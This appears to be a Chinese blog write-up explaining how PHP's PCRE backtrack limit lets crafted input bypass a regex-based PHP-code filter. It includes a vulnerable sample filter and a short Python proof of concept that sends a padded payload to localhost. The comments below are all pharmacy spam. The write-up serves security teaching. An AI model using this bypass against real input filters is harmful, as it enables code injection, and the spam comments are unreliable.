PHP利用PCRE回溯次数限制绕过安全限制

原创 sauren  2018-12-03 16:07  阅读 532 views 次 评论 23 条

一、 正则表达式是什么

正则表达式是一个可以被「有限状态自动机」接受的语言类。

「有限状态自动机」,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入

NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

二、 一段例子

<?php

if(isset($_GET["data"])){
  $data=$_GET["data"];
}else{
  $data=$_POST["data"];
}
echo mb_strlen($data);
echo "\r\n";
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(!is_php($data)) {
    echo "no php code";
}else{
    echo "have php code";
}

 

当输入正常的PHP代码(http://localhost/test.php?data=<?php echo 123;?>),会匹配到含有PHP代码。

三、NFA的回溯机制

见上图,可见第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。

所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……

最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上  [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

四、回溯次数的限制

var_dump(ini_get('pcre.backtrack_limit'));

结果为1000000(一百万)次。当超过这个次数的时候,preg_match将返回false,不是0也不是1。

五、解题POC

import requests

datas=""
for i in range(1,999999):
  datas=datas+"a"

datas_={"data":"aaa<?php echo 123;aaaaa"+datas}
r=requests.post("http://localhost/test.php",data=datas_)
print(r.text)

通过调整循环量,当NFA 的检查循环次数超过100万,即可通过。

 

文章来源于phith0n

本文地址:https://www.sk15.net/archives/84.html
版权声明:本文为原创文章,版权归 sauren 所有,欢迎分享本文,转载请保留出处!
NEXT:已经是最新一篇了
高性能云服务器特惠

发表评论


表情

  1. RichardDearp
    RichardDearp @回复

    You actually revealed this fantastically! cialis

  2. Larrytus
    Larrytus @回复

    You said it very well.! prednisolone tablets

  3. Tyronemox
    Tyronemox @回复

    Incredible tons of valuable material. walgreens cbd products

  4. Louishor
    Louishor @回复

    Truly plenty of wonderful information. pharmacy northwest canada

  5. ErnestLip
    ErnestLip @回复

    Really many of great material! Where To Buy Zestril

  6. RichardDearp
    RichardDearp @回复

    Really quite a lot of useful tips! https://viagrapython.com/

  7. Larrytus
    Larrytus @回复

    Thank you. A lot of facts!
    does viagra lower blood pressure

  8. Louishor
    Louishor @回复

    Fantastic facts. Cheers. drugs for sale

  9. ErnestLip
    ErnestLip @回复

    Kudos, I like this. finasteride bnf

  10. Larrytus
    Larrytus @回复

    You actually explained this perfectly! prozac buy online

  11. RichardDearp
    RichardDearp @回复

    Kudos, Quite a lot of info!
    cbd oil benefits

  12. Larrytus
    Larrytus @回复

    This is nicely put! ! lasix 40 mg

  13. RichardDearp
    RichardDearp @回复

    Kudos. Helpful stuff! https://viagrapython.com/

  14. Larrytus
    Larrytus @回复

    You’ve made your point pretty clearly!! sildenafil generic

  15. Larrytus
    Larrytus @回复

    Thanks! Numerous data.
    finasteride

  16. Larrytus
    Larrytus @回复

    Fantastic information, With thanks. What Do Phenergan Tablets Look Like

  17. Larrytus
    Larrytus @回复

    Thank you! I appreciate this! keflex generic

  18. Larrytus
    Larrytus @回复

    Thanks a lot. I enjoy this! Allopurinol 100mg Tablets Price

  19. Larrytus
    Larrytus @回复

    Thanks. Awesome information! vibramycin

  20. Larrytus
    Larrytus @回复

    Terrific info, With thanks! Hydrochlorothiazide 50 Mg Tablet

  21. Larrytus
    Larrytus @回复

    You suggested that really well! celecoxib

  22. Lesloardy
    Lesloardy @回复

    Ou Acheter Cialis Sans Ordonnance Discount Finasteride Buy cialis price Cialis Soft Pas Cher Avanafil 200 Mg

  23. Larrytus
    Larrytus @回复

    Nicely put. Thanks! microzide